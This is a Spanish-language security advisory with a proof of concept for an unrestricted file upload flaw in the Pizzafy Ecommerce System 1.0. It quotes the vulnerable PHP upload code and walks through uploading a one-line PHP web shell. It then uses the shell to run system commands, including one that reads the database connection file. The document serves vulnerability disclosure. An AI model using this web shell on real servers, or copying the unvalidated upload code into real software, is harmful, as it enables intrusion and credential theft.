
| Campo | Valor |
|---|---|
| Proveedor | SourceCodester |
| URL del proveedor | https://www.sourcecodester.com |
| Producto | Pizzafy Ecommerce System usando PHP y MySQL |
| URL del producto | https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html |
| Versión | 1.0 |
| Vulnerabilidad | Carga de archivos sin restricciones → Ejecución remota de código |
| CWE | CWE-434 |
| Puntuación CVSSv3 | 7.8 (Alta) |
| Vector de ataque | Red |
| Autenticación requerida | Sí (Administrador) |
| Interacción del usuario | Ninguna |
| Investigador | Imad Alvi |
| Fecha | 2026-04-12 |
Archivo: Pizzafy/admin/admin_class_novo.php → función save_menu()
Parámetro: img (FILE)
Ruta de carga: Pizzafy/assets/img/
La función save_menu() de Pizzafy Ecommerce System 1.0 gestiona la carga de imágenes de los elementos del menú sin realizar ninguna validación del tipo de archivo. La aplicación obtiene la extensión del archivo mediante pathinfo(), pero nunca comprueba ni restringe los tipos de archivo permitidos antes de mover el archivo cargado al directorio assets/img/, accesible desde la web. Un administrador autenticado puede cargar un webshell PHP disfrazado de imagen de menú y, a continuación, acceder directamente a él a través del navegador para lograr la ejecución remota de código en el servidor.
Código vulnerable en admin_class_novo.php:
function save_menu(){
extract($_POST);
// ...
if($_FILES['img']['tmp_name'] != ''){
$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
$move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/img/'. $fname);
$data .= ", img_path = '$fname' ";
}
// No extension check, no MIME type check
}
Cree un archivo llamado shell_web2.php con el siguiente contenido:
<?php echo shell_exec($_GET['cmd']); ?>
Inicie sesión como administrador y navegue hasta:
http://localhost/pizzafy/Pizzafy/admin/index.php?page=menu
Rellene el formulario de menú con valores válidos y seleccione shell_web2.php como archivo de imagen. Haga clic en Guardar.
El shell ahora aparece como un elemento de menú en la página orientada al cliente.
Navegue hasta el directorio assets: el listado de directorios está habilitado (CWE-548):
http://192.168.0.9/pizzafy/Pizzafy/assets/img/
El shell PHP cargado es visible en el listado del directorio.
Acceda directamente al shell cargado y pase comandos del sistema mediante el parámetro cmd:
http://192.168.0.9/pizzafy/Pizzafy/assets/img/1775994120_shell_web2.php?cmd=whoami
Respuesta: comando del sistema operativo ejecutado en el servidor:
desktop-g1i9np3\dell
?cmd=whoami
?cmd=ipconfig
?cmd=dir C:\xampp\htdocs\pizzafy
?cmd=type C:\xampp\htdocs\pizzafy\Pizzafy\admin\db_connect.php
Un administrador autenticado puede:
El directorio assets/img/ tiene el listado de directorios habilitado, lo que permite a usuarios no autenticados explorar todos los archivos cargados, incluido el webshell. Esto agrava la severidad de la vulnerabilidad de carga de archivos.